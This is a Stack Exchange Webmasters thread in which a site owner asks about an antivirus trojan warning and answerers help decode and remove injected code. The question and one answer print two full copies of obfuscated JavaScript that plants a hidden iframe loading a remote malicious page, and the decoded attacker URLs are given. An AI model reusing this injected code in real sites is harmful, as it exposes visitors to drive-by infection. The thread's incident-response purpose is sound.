Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I have a big problem. Kaspersky says my website is infected with trojan. So I downloaded all my website and run a scan and it was clean. I also did a clamav on it and it was clean too.

So next thing I told few guys to test it and when they go to my website the warning appear, not only Kaspersky but Norton too.

I think it's a hidden trojan, like when you refresh the page you see the warning while it's hidden in files.

Kaspersky gave me the following code

<script type='text/javascript'>/*<![CDATA[*/var wow="b3nimb2eawiki11b1infob1ms";c1="l"+"on"+"l"+"y ";if(-1==document.cookie.indexOf(c1)){var a=new Date;a.setTime(a.getTime());c3=72E6;c2=new Date(a.getTime()+c3);document.cookie=c1+"="+escape(c2.toGMTString())+";e"+"xpir"+"es="+c 2.toGMTString()+";p"+"at"+"h=/";var a=document.createElement("if"+"r"+"am"+"e");a.setAttribute("sr"+"c","h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g, "e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l");a.style.position="ab"+"sol"+"ute";a.style.width="1"+"8p"+"x";a.setAttribute("f"+"ra"+"mebo"+"rd"+"er",navigator.userAgent.i ndexOf("1"+"23"+"4231"+"532"+"4")+1);a.style.left="-"+"57"+"50"+"p"+"x";document.write("<"+"di"+"v i"+"d='d"+"efus"+"e'>"+"</di"+"v>");document.getElementById("de"+"f"+"us"+"e").a ppendChild(a)};/*]]>*/</script>

So now I am lost, what can i do?

share|improve this question
    
Please don't cross post questions. Your Super User question could have been migrated. –  ChrisF Aug 10 '12 at 13:07
    
You need to include what server you're using, what programming language you are using and any third party software you're using eg Wordpress. –  DisgruntledGoat Aug 11 '12 at 8:45
add comment

4 Answers 4

The reported URL www.f1arab.com does not contain this piece of JS code at first sight.


So, looking at the script we can figure out what it is trying to sent you to:

var wow = "b3nimb2eawiki11b1infob1ms"; var url = "h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g, "e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l"; document.write(url);

which yields:

http://anime-wiki11.info.ms:81/rem2.html

Let's query this URL, twice, we see on the first that it can't find a page on Yahoo and the second can't load this. As you search the b3nimb2eawiki11b1infob1ms string on Google you see that these exploit attempts are quite dated, and it appears that Yahoo already took them offline.

Searching for the URL you obtain, you see my attempts to query it as well as two sites also infected with this script. But as it shows, the script is no longer harmful so it is safe to visit both URLs assuming Yahoo doesn't put it back.


When doing yet another check with urlQuery on the reported URL we see this request happening:

GET /rem2.html HTTP/1.1
Host: mrzwheremeread.info.br.ms:81

But once again this URL leads to something Yahoo already took offline.

The interesting thing is that this is different from the URL shown in your question, thus it is being dynamically generated. So that's why a quick search earlier on did not find the JS code.

This is evidenced by the following HTML code being injected at a certain point:

<script type="text/javascript">/*<![CDATA[*/var wow="mrzwhb2rb2mb2rb2b3db1infob1brb1ms";c1="l"+"on"+"l"+"y";if(-1==document.cookie.indexOf(c1)){var a=new Date;a.setTime(a.getTime());c3=72E6;c2=new Date(a.getTime()+c3);document.cookie=c1+"="+escape(c2.toGMTString())+";e"+"xpir"+"es="+c2.toGMTString()+";p"+"at"+"h=/";var a=document.createElement("if"+"r"+"am"+"e");a.setAttribute("sr"+"c","h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g,"e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l");a.style.position="ab"+"sol"+"ute";a.style.width="1"+"8p"+"x";a.setAttribute("f"+"ra"+"mebo"+"rd"+"er",navigator.userAgent.indexOf("1"+"23"+"4231"+"532"+"4")+1);a.style.left="-"+"57"+"50"+"p"+"x";document.write("<"+"di"+"v i"+"d='d"+"efus"+"e'>"+"</di"+"v>");document.getElementById("de"+"f"+"us"+"e").appendChild(a)};/*]]>*/</script>

As we can see on urlQuery that this code isn't being injected through JavaScript, this must be happening server side. What we also see here through wp-content is that you are using WordPress, so it most likely that they are using a WordPress exploit to insert that code.

Start byupdating WordPress and the plugins, as well as disabling things that you don't need. From there on, you can look into making file permissions a bit more restrictive on the server; as well as PHP settings to disallow writing from / to places you don't want to.

Also, search for var wow or just wow over all hosted files on the server would be a nice approach as that seems to be not dynamic, please note that it might appear in an encrypted form which might require you to search manually...

share|improve this answer
add comment

You can also scan your site at http://sitecheck.sucuri.net/scanner/

Common forms of malware inject php code into your index.php files which generate the javascript. The PHP doesn't look like the javascript, it may be base64 encoded it may not.

It's also possible you have rogue php files on your site inserting the code into your index files as well. In that case you need to find those files. Good hosting companies can scan your account quickly to find backdoor shells.

If you run WordPress it may also be coming from entries in your database.

share|improve this answer
    
Hello, I found 2 infected files after hours and hours of work. I would like to thanks TomWij for his help. Please guys can you check if my site is working for you now? –  Kilwa2012 Aug 10 '12 at 13:43
    
I would suggest you ask your hosting company to do a scan as well. If this helped you feel free to mark it as the answer. –  Anagio Aug 10 '12 at 15:08
add comment

You obviously need to do two things:

  1. Find all instances of that code on your site and remove it
  2. Find out how you got hacked in the first place and fix it. If you're using a CMS upgrade to the latest version immediately. If you still get hacked then a backdoor has been installed on your site and you'll need to completely remove all of your site's files and re-install your CMS from scratch (after doing a backup of your database).
share|improve this answer
    
John it's most likely PHP code generating that Javascript it's not that easy to search for –  Anagio Aug 10 '12 at 13:25
    
I didn't say I envied them! –  John Conde Aug 10 '12 at 13:26
add comment

This depends mostly on the CMS (if any exists). I would go on the website root and made something like:

grep -lr b3nimb2eawiki11b1infob1ms *

as b3nimb2eawiki11b1infob1ms seems to be the signature of this malware.

Second step, I would look on the database for such string too (phpMyAdmin has a feature for this, for example) looking in all tables/fields.

Once found delete the malicious code, probably there are more than just one file/record, so the work needed to clean this could vary accordingly. Once you find where you were hacked, try to find why, and secure your server code!

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.